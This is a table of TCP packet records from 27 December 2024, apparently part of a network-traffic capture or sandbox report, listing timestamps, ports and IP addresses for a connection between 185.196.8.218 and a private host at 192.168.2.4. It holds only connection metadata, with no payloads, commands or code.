Dec 27, 2024 09:09:12.412082911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.412872076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.412950993 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.412991047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.413106918 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.413736105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.413799047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.414603949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.414657116 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.414710045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.414760113 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.415482044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.415575027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.415707111 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.416328907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.416419983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.417197943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.417294979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.417303085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.417370081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.418108940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.418170929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.418967009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.418967962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.419028044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.419841051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.419898033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.419914961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.419981956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.420717001 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.420818090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.421504974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.421561956 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.421613932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.421695948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.422298908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.475017071 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.578959942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.579004049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.579171896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.579206944 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.579212904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.579329967 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.579977989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.580104113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.580171108 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.580723047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.580842018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.580904961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.581495047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.581628084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.581696033 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.582258940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.582437992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.582506895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.583077908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.583169937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.583221912 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.583879948 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.584059000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.584120989 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.584701061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.584763050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.584875107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.585417986 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.585547924 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.585634947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.586208105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.586327076 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.586381912 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.586956978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.587125063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.587215900 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.587766886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.587963104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.588037014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.588525057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.588618994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.588687897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.589382887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.589497089 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.589561939 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.590173006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.590214014 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.590262890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.590899944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.590967894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.591017962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.591725111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.591841936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.591950893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.592519045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.592624903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.592705011 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.593219995 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.593337059 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.593471050 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.594099998 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.594170094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.594228029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.594822884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.594913960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.594964981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.595614910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.595736027 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.595786095 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.596424103 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.596509933 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.596587896 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.597210884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.597357988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.597420931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.597970963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.598088026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.598156929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.598742962 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.598884106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.598943949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.599525928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.599693060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.599749088 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.600356102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.600495100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.600569963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.601094961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.601248026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.601301908 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.601877928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.601984024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.602045059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.602724075 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.602823973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.602880955 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.603463888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.603569984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.603676081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.604229927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.604324102 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.604382038 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.605034113 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.605098963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.605160952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.605861902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.605967999 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.606030941 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.606570959 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.606693029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.606749058 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.607402086 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.607507944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.607623100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.608158112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.608177900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.608241081 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.608935118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.609091997 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.609158993 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.609719992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.609853983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.609927893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.610493898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.610649109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.610723972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.611262083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.611376047 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.611449957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.612065077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.612176895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.612258911 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.612823009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.612932920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.613008022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.613626003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.613708973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.613828897 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.614403963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.614518881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.614605904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.615143061 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.615258932 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.615326881 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.615995884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.616040945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.616122961 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.616722107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.616847038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.616899014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.617552996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.617638111 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.617691040 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.618325949 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.618433952 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.618510962 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.619123936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.619184017 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.619276047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.619829893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.667589903 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.780133963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.780195951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.780333996 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.780420065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.780507088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.781208992 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.781255007 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.781265974 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.781301022 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.781972885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.782073975 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.782764912 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.782854080 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.782862902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.783596039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.783622026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.783669949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.783669949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.784326077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.784409046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.784487963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.785154104 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.785202980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.785868883 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.785928965 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.786052942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.786117077 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.786712885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.786778927 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.786842108 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.787467957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.787597895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.787664890 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.788228989 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.788346052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.788438082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.789035082 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.789123058 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.789186001 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.789799929 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.789942980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.790014029 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.790636063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.790747881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.790806055 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.791407108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.791484118 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.791559935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.792172909 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.792215109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.792371988 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.792992115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.793028116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.793804884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.793831110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.793900013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.793900013 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.794507980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.794610023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.794955969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.795299053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.795377970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.795455933 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.796071053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.796145916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.796197891 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.796886921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.797051907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.797312021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.797635078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.797755957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.797815084 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.798403025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.798523903 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.798616886 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.799213886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.799336910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.799406052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.800035000 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.800111055 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.800182104 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.800766945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.800870895 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.801549911 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.801626921 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.801649094 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.801707983 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.802324057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.802414894 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.803066969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.803153038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.803194046 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.803955078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.804018021 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.804049015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.804109097 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.804708958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.804869890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.804974079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.805489063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.805592060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.805671930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.806277037 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.806405067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.806457043 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.807029009 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.807172060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.807279110 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.807856083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.808028936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.808129072 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.808626890 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.808737040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.809405088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.809494972 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.809503078 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.810190916 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.810192108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.810307980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.810853004 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.810982943 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.811093092 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.811255932 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.811770916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.811878920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.812006950 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.812530041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.812629938 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.812683105 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.813325882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.813440084 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.813779116 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:12.814131021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.814203978 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:12.814321995 CET	49731	56711	192.168.2.4	185.196.8.218
